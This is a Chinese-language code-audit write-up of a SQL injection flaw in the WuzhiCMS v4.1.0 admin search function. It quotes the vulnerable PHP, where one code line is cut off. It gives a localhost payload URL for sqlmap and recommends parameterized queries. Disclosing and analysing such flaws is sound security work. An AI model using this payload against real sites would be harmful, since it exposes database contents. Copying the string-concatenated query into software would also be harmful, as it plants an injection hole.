【程式碼審計】五指CMS_v4.1.0 後臺存在SQL注入漏洞分析
阿新 • • 發佈:2018-12-03
0x00 環境準備
五指CMS官網:https://www.wuzhicms.com/
網站原始碼版本:五指CMS v4.1.0 UTF-8 開源版
程式原始碼下載:https://www.wuzhicms.com/download/
測試網站首頁:
0x01 程式碼分析
1、漏洞檔案位置:/coreframe/app/promote/admin/index.php 第42-60行:
- public function search() {
- $siteid = get_cookie('siteid');
- $page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;
- $page = max($page,1);
- $fieldtype = $GLOBALS['fieldtype'];
- $keywords = $GLOBALS['keywords'];
- if($fieldtype=='place') {
- $where = "`siteid`='$siteid' AND `name` LIKE '%$keywords%'";
- $result = $this
- 10. $pages = $this->db->pages;
- 11. $total = $this->db->number;
- 12. include $this->template('listingplace');
- 13. } else {
- 14. $where = "`siteid`='$siteid' AND `$fieldtype` LIKE '%$keywords%'";
- 15. $result = $this->db->get_list('promote',$where, '*', 0, 20,$page,'id DESC');
- 16. $pages = $this->db->pages;
- 17. $total = $this->db->number;
- 18. include $this->template('listing');
- 19. }
這段函式將獲取到的keywords引數拼接到SQL語句,然後帶入資料庫執行,導致程式在實現上存在SQL注入漏洞,攻擊者可利用該漏洞獲取資料庫敏感資訊。
0x02 漏洞利用
1、構造url連結,使用SQLMAP可獲取資料庫敏感資料。
Payload:
http://127.0.0.1/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=1111%'*%23
0x03 修復建議
使用引數化查詢可有效避免SQL注入
最後
歡迎關注個人微信公眾號:Bypass--,每週原創一篇技術乾貨。